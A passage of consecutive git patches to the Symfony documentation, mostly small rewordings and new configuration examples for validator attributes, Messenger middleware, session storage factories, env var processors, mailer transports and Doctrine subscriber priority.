     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Uid\Uuid;
     // ...
 
     class User implements UserInterface
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="ulid", unique=true)
+         * @ORM\Column(type="uuid", unique=true)
          */
         private $id;
 
         public function __construct()
         {
-            $this->id = new Ulid();
+            $this->id = Uuid::v4();
         }
 
-        public function getId(): Ulid
+        public function getId(): Uuid
         {
             return $this->id;
         }

From 2cb0c9e53eed0730dfa2cb5e81825e9468c8a99c Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sat, 13 Feb 2021 12:20:08 +0100
Subject: [PATCH 0489/5766] [Validator] Change Range and Legth description
 formatting

---
 reference/constraints/Length.rst | 4 ++--
 reference/constraints/Range.rst  | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 11ae53ae6b9..7e790efeee7 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -23,8 +23,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 Basic Usage
 -----------
 
-To verify that the ``firstName`` field length of a class is between "2"
-and "50", you might add the following:
+To verify that the ``firstName`` field length of a class is between ``2``
+and ``50``, you might add the following:
 
 .. configuration-block::
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 5743d8d04ef..d07bc0445f4 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -22,7 +22,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 Basic Usage
 -----------
 
-To verify that the "height" field of a class is between "120" and "180",
+To verify that the ``height`` field of a class is between ``120`` and ``180``,
 you might add the following:
 
 .. configuration-block::

From 6f212d9854638822dc016e7a540113157533e1d5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 13 Feb 2021 16:17:56 +0100
Subject: [PATCH 0490/5766] Add documentation for RouterContextMiddleware

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index edd43cd7881..eda3d7b16d3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1954,6 +1954,67 @@ may want to use:
             ],
         ]);
 
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``router_context`` middleware were introduced in Symfony 5.3.
+
+When the consumer needs to build an absolute URL, for instance: rendering a
+template with links, it needs the initial's request context in order to
+retrieves the domain and information needed to build the URL. This can be
+achieved by declaring the ``router_context`` middleware in the bus.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - router_context
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="router_context"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'buses' => [
+                    'command_bus' => [
+                        'middleware' => [
+                            'router_context',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
+
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 6f1a420a567338648e66a788927b0ef02df8460b Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 10:09:45 +0100
Subject: [PATCH 0491/5766] [Validator] Improve Valid constraint description

---
 reference/constraints/Valid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..b052cab38b4 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -243,6 +243,13 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+.. note::
+
+    This constraint is not aware what sub-object must be associated with it, a common solution is to combine this constraint
+    with :doc:`Type </reference/constraints/Type>`.
+
 Options
 -------
 

From feb165e67b54d3f46adce3cc7915afb7a5b835cc Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 10:18:19 +0100
Subject: [PATCH 0492/5766] [Validator] Use import instead of FQCN

---
 reference/constraints/Type.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 61189e7f989..a8920e655dd 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -64,11 +64,12 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Ramsey\Uuid\UuidInterface;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
         {
-            #[Assert\Type('Ramsey\Uuid\UuidInterface')]
+            #[Assert\Type(UuidInterface::class)]
             protected $id;
 
             #[Assert\Type('string')]

From d9b0a1dc6f7b1bb1cd9d5ef6939b5cc17ebec660 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 11:06:38 +0100
Subject: [PATCH 0493/5766] [Validator] Add PHP Attributes example to Compound

---
 reference/constraints/Compound.rst | 90 +++++++++++++++++++++++-------
 1 file changed, 71 insertions(+), 19 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 6e0ab5db139..a43899e7c24 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -23,27 +23,66 @@ Basic Usage
 Suppose that you have different places where a user password must be validated,
 you can create your own named set or requirements to be reused consistently everywhere::
 
-    // src/Validator/Constraints/PasswordRequirements.php
-    namespace App\Validator\Constraints;
-
-    use Symfony\Component\Validator\Constraints\Compound;
-    use Symfony\Component\Validator\Constraints as Assert;
-
-    /**
-     * @Annotation
-     */
-    class PasswordRequirements extends Compound
-    {
-        protected function getConstraints(array $options): array
+.. configuration-block::
+
+    .. code-block:: php-annotations
+    
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Annotation
+         */
+        class PasswordRequirements extends Compound
         {
-            return [
-                new Assert\NotBlank(),
-                new Assert\Type('string'),
-                new Assert\Length(['min' => 12]),
-                new Assert\NotCompromisedPassword(),
-            ];
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
         }
-    }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[\Attribute]
+        class PasswordRequirements extends Compound
+        {
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
+        }  
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
+
+.. note::
+
+    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
+    order to make it available for use in classes via annotations.
+    Options for your constraint are represented as public properties on the
+    constraint class.
 
 You can now use it anywhere you need it:
 
@@ -64,6 +103,19 @@ You can now use it anywhere you need it:
             public $password;
         }
 
+    .. code-block:: php-attributes
+
+        // src/User/RegisterUser.php
+        namespace App\User;
+
+        use App\Validator\Constraints as AcmeAssert;
+
+        class RegisterUser
+        {
+            #[AcmeAssert\PasswordRequirements]
+            public $password;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 1a71a9c7f20a18ff78293c947a877b48874f027a Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Sun, 14 Feb 2021 11:13:43 +0100
Subject: [PATCH 0494/5766] [Validator]  Add PHP Attribute as an annotation
 option in the description

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 8aaca8eb96a..d0d1c27d6f4 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -52,7 +52,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. note::
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
+    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
     order to make it available for use in classes via annotations.
     Options for your constraint are represented as public properties on the
     constraint class.

From 4a3a9875df8846279ff62157f0182dad4d639a7a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sun, 14 Feb 2021 15:27:24 +0100
Subject: [PATCH 0495/5766] Update documentation for deprecated
 "session.storage" service

---
 reference/configuration/framework.rst | 21 ++++++++-----
 session.rst                           | 44 +++++++++++++++++++--------
 session/php_bridge.rst                | 10 +++---
 3 files changed, 49 insertions(+), 26 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3baf76260a..b13f9f870f7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -269,7 +269,7 @@ Configuration
   * `save_path`_
   * `sid_length`_
   * `sid_bits_per_character`_
-  * `storage_id`_
+  * `storage_factory_id`_
   * `use_cookies`_
 
 * `test`_
@@ -1443,19 +1443,24 @@ errors.
 session
 ~~~~~~~
 
-storage_id
-..........
+storage_factory_id
+..................
 
-**type**: ``string`` **default**: ``'session.storage.native'``
+**type**: ``string`` **default**: ``'session.storage.factory.native'``
 
-The service ID used for storing the session. The ``session.storage`` service
-alias will be set to this service. The class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+The service ID used for creatig the ``SessionStorageInterface`` that will store
+the session. The ``session.storage.factory`` service alias will be set to this
+service. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
 To see a list of all available storages, run:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container session.storage.
+    $ php bin/console debug:container session.storage.factory.
+
+.. versionadded:: 5.3
+
+    The ``storage_factory_id`` option was introduced in Symfony 5.3.
 
 .. _config-framework-session-handler-id:
 
diff --git a/session.rst b/session.rst
index 2727c3d617d..5a3fb69c09b 100644
--- a/session.rst
+++ b/session.rst
@@ -185,33 +185,51 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
     .. code-block:: yaml
 
         # config/services.yaml
-        session_listener:
+        session.factory:
             autoconfigure: true
-            class: App\EventListener\SessionListener
+            class: App\Session\SessionFactory
             arguments:
-            - !service_locator
-                logger: '@?logger'
-                session_collector: '@?data_collector.request.session_collector'
-                session_storage: '@session.storage'
-                session_attributes: '@session.namespacedattributebag'
-            - '%kernel.debug%'
+            - '@request_stack'
+            - '@session.storage.factory'
+            - ['@session_listener', 'onSessionUsage']
+            - '@session.namespacedattributebag'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
 .. code-block:: php
 
-    namespace App\EventListener;
+    namespace App\Session;
 
+    use Symfony\Component\HttpFoundation\RequestStack;
+    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
     use Symfony\Component\HttpFoundation\Session\Session;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\EventListener\AbstractSessionListener;
+    use Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface;
 
-    class SessionListener extends AbstractSessionListener
+    class SessionFactory
     {
-        protected function getSession(): ?SessionInterface
+        private $requestStack;
+        private $storageFactory;
+        private $usageReporter;
+        private $sessionAttributes;
+
+        public function __construct(RequestStack $requestStack, SessionStorageFactoryInterface $storageFactory, callable $usageReporter, NamespacedAttributeBag $sessionAttributes)
+        {
+            $this->requestStack = $requestStack;
+            $this->storageFactory = $storageFactory;
+            $this->usageReporter = $usageReporter;
+            $this->sessionAttributes = $sessionAttributes;
+        }
+
+        public function createSession(): SessionInterface
         {
-            return new Session($this->container->get('session_storage'), $this->container->get('session_attributes'));
+            return new Session(
+                $this->storageFactory->createStorage($this->requestStack->getMasterRequest()),
+                $this->sessionAttributes,
+                null,
+                $this->usageReporter
+            );
         }
     }
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index 42c8644e2a7..ba7fc53d41a 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -18,7 +18,7 @@ for the ``handler_id``:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: ~
 
     .. code-block:: xml
@@ -32,7 +32,7 @@ for the ``handler_id``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
                     handler-id="null"
                 />
             </framework:config>
@@ -43,7 +43,7 @@ for the ``handler_id``:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'session' => [
-                'storage_id' => 'session.storage.php_bridge',
+                'storage_factory_id' => 'session.storage.factory.php_bridge',
                 'handler_id' => null,
             ],
         ]);
@@ -60,7 +60,7 @@ the example below:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: session.handler.native_file
 
     .. code-block:: xml
@@ -85,7 +85,7 @@ the example below:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'session' => [
-                'storage_id' => 'session.storage.php_bridge',
+                'storage_factory_id' => 'session.storage.factory.php_bridge',
                 'handler_id' => 'session.storage.native_file',
             ],
         ]);

From 3ff812d799a3abdfc64f72956fe0fa0bd2c955fd Mon Sep 17 00:00:00 2001
From: Beno!t POLASZEK <bpolaszek@gmail.com>
Date: Sun, 14 Feb 2021 10:42:34 +0100
Subject: [PATCH 0496/5766] [DependencyInjection] Negated (not:) env var
 processor

---
 configuration/env_var_processors.rst | 40 ++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 407b5137fbc..2b42559911f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -136,6 +136,46 @@ Symfony provides the following env var processors:
                 'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
             ]);
 
+``env(not:FOO)``
+
+    .. versionadded:: 5.3
+
+        The ``not:`` env var processor was introduced in Symfony 5.3.
+
+    Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
+    (falsy values are returned as ``true``, truthy values are returned as ``false``):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                safe_for_production: '%env(not:APP_DEBUG)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="safe_for_production">%env(not:APP_DEBUG)%</parameter>
+                </parameters>
+
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('safe_for_production', '%env(not:APP_DEBUG)%');
+
 ``env(int:FOO)``
     Casts ``FOO`` to an int.
 

From ad5a890da80c79eefff709a62ce78362c99eaee7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Thu, 11 Feb 2021 18:06:33 +0100
Subject: [PATCH 0497/5766] improve documentation for mailer failover and
 round-robin transports

---
 mailer.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 58531bf85f3..ff567eab3bc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -186,9 +186,9 @@ A failover transport is configured with two or more transports and the
 
     MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport. If the sending fails, the
-mailer won't retry it with the other transports, but it will switch to the next
-transport automatically for the following deliveries.
+The failover-transport starts using the first transport and if it fails, it
+will retry the same delivery with the next transports until one of them succeeds
+(or until all of them fail).
 
 Load Balancing
 ~~~~~~~~~~~~~~
@@ -203,9 +203,12 @@ A round-robin transport is configured with two or more transports and the
 
     MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)"
 
-The mailer will start using the first transport and if it fails, it will retry
-the same delivery with the next transports until one of them succeeds (or until
-all of them fail).
+The round-robin transport starts with a *randomly* selected transport and
+then switches to the next available transport for each subsequent email.
+
+As with the failover transport, round-robin retries deliveries until
+a transport succeeds (or all fail). In contrast to the failover transport,
+it *spreads* the load across all its transports.
 
 Creating & Sending Messages
 ---------------------------

From 7512515581be517ef92af7198eecedfea440242f Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Sun, 14 Feb 2021 17:07:14 +0100
Subject: [PATCH 0498/5766] [Security] Added debug:firewall command

---
 reference/configuration/security.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d4a37758798..3c7980c153f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -472,6 +472,26 @@ depend on the authentication mechanism, which can be any of these:
                     http_digest:
                         # ...
 
+You can view actual information about the firewalls in your application with
+the ``debug:firewall`` command:
+
+.. code-block:: terminal
+
+    # displays a list of firewalls currently configured for your application
+    $ php bin/console debug:firewall
+
+    # displays the details of a specific firewall
+    $ php bin/console debug:firewall main
+
+    # displays the details of a specific firewall, including detailed information
+    # about the event listeners for the firewall
+    $ php bin/console debug:firewall main --include-listeners
+
+.. versionadded:: 5.3
+
+    The ``debug:firewall`` command was introduced in Symfony 5.3.
+
+
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication

From 8a614ebc3df768f427f3e514488256172dc67b86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:13:56 +0100
Subject: [PATCH 0499/5766] Minor reword

---
 validation/custom_constraint.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d0d1c27d6f4..5f85cb9092e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -44,19 +44,16 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
         }
 
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
 .. versionadded:: 5.2
 
     The ability to use PHP attributes to configure constraints was introduced in
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate constraints.
 
-.. note::
-
-    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
-
 Creating the Validator itself
 -----------------------------
 

From c2a3742020fc3e683f108dcd09722bdaafb781c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:43:41 +0100
Subject: [PATCH 0500/5766] Tweak

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b13f9f870f7..5c0989c8afc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1448,9 +1448,9 @@ storage_factory_id
 
 **type**: ``string`` **default**: ``'session.storage.factory.native'``
 
-The service ID used for creatig the ``SessionStorageInterface`` that will store
-the session. The ``session.storage.factory`` service alias will be set to this
-service. The class has to implement
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
 To see a list of all available storages, run:
 

From d6a73143447ae1f5446d3d24e814f3dbcc0191d8 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 15 Feb 2021 07:10:34 +0100
Subject: [PATCH 0501/5766] [Messenger] Remove duplicated Redis transport
 requirements

The Redis transport requirements has been presented twice. I mean the following sentences: "This transport requires the Redis PHP extension (>=4.3) and a running Redis server (^5.0)." and "To use the Redis transport, you will need the Redis PHP extension (>=4.3) and a running Redis server (^5.0).".
---
 messenger.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c2773c0c674..19736f3df4b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1164,9 +1164,6 @@ The Redis transport DSN may looks like this:
 
     The Unix socket DSN was introduced in Symfony 5.1.
 
-To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
-a running Redis server (^5.0).
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 

From d101f1ce537efcb613f019cbddba4ef5e148fd0a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 09:48:24 +0100
Subject: [PATCH 0502/5766] Added a previous reference

---
 reference/configuration/framework.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5c0989c8afc..d9772a772cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1443,6 +1443,8 @@ errors.
 session
 ~~~~~~~
 
+.. _storage_id:
+
 storage_factory_id
 ..................
 

From 6c8bbd602c018997171fa5152e342de29d9c7770 Mon Sep 17 00:00:00 2001
From: Mohameth <Mohameth@users.noreply.github.com>
Date: Sat, 13 Feb 2021 21:06:29 +0100
Subject: [PATCH 0503/5766] Update lock documentation for more clarity

In response to https://github.com/symfony/symfony-docs/issues/9367, I also had some understanding the meaning.
---
 components/lock.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 16049101e10..7651dd19caf 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -62,9 +62,10 @@ method can be safely called repeatedly, even if the lock is already acquired.
 .. note::
 
     Unlike other implementations, the Lock Component distinguishes locks
-    instances even when they are created for the same resource. If a lock has
-    to be used by several services, they should share the same ``Lock`` instance
-    returned by the ``LockFactory::createLock`` method.
+    instances even when they are created for the same resource. It means that for
+    a given scope and resource one lock instance can be acquired multiple times. 
+    If a lock has to be used by several services, they should share the same ``Lock``
+    instance returned by the ``LockFactory::createLock`` method.
 
 .. tip::
 

From ce5d6693b6715a00c461d50a5c35f827b8290f66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 10:56:38 +0100
Subject: [PATCH 0504/5766] Tweak

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 7651dd19caf..8e83fed5c9d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -61,7 +61,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
 .. note::
 
-    Unlike other implementations, the Lock Component distinguishes locks
+    Unlike other implementations, the Lock Component distinguishes lock
     instances even when they are created for the same resource. It means that for
     a given scope and resource one lock instance can be acquired multiple times. 
     If a lock has to be used by several services, they should share the same ``Lock``

From 915b0d57ae5a1fa0c7c8f8cd047824e6b2160247 Mon Sep 17 00:00:00 2001
From: Nicolas Hart <nclsHart@users.noreply.github.com>
Date: Mon, 15 Feb 2021 12:08:27 +0100
Subject: [PATCH 0505/5766] [Encore] fix typo fronts instead of fonts

---
 frontend/encore/url-loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 9567960c99d..ff8be75aedc 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,4 +1,4 @@
-Inlining Images & Fronts in CSS
+Inlining Images & Fonts in CSS
 ===============================
 
 A simple technique to improve the performance of web applications is to reduce

From 77744242d2ac155c265ad2bc785c31adfb5819cc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 15 Feb 2021 12:28:58 +0100
Subject: [PATCH 0506/5766] Fix length of underline

---
 frontend/encore/url-loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index ff8be75aedc..5e89234f295 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -1,5 +1,5 @@
 Inlining Images & Fonts in CSS
-===============================
+==============================
 
 A simple technique to improve the performance of web applications is to reduce
 the number of HTTP requests inlining small files as base64 encoded URLs in the

From fa054e6fb06380a198f9301272797bb273df154b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 13 Feb 2021 16:26:35 +0100
Subject: [PATCH 0507/5766] [Doctrine] Add documentation about
 doctrine.event_subscriber priority

---
 doctrine/events.rst | 37 +++++++++++++++++++++++++++++++------
 1 file changed, 31 insertions(+), 6 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3eea84aff4f..16c51734411 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -166,7 +166,7 @@ with the ``doctrine.event_listener`` tag:
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple listeners are associated
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -184,7 +184,7 @@ with the ``doctrine.event_listener`` tag:
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple listeners are associated to the same event
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -213,7 +213,7 @@ with the ``doctrine.event_listener`` tag:
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple listeners are associated
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -428,7 +428,14 @@ with the ``doctrine.event_subscriber`` tag:
 
             App\EventListener\DatabaseActivitySubscriber:
                 tags:
-                    - { name: 'doctrine.event_subscriber' }
+                    - name: 'doctrine.event_subscriber'
+
+                      # subscribers can define their priority in case multiple subscribers or listeners are associated
+                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                      priority: 500
+
+                      # you can also restrict listeners to a specific Doctrine connection
+                      connection: 'default'
 
     .. code-block:: xml
 
@@ -439,8 +446,15 @@ with the ``doctrine.event_subscriber`` tag:
             <services>
                 <!-- ... -->
 
+                <!--
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    *             (default priority = 0; higher numbers = listener is run earlier)
+                    * 'connection': restricts the listener to a specific Doctrine connection
+                -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                </service>
+
                 </service>
             </services>
         </container>
@@ -456,7 +470,14 @@ with the ``doctrine.event_subscriber`` tag:
             $services = $configurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber')
+                ->tag('doctrine.event_subscriber'[
+                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
+
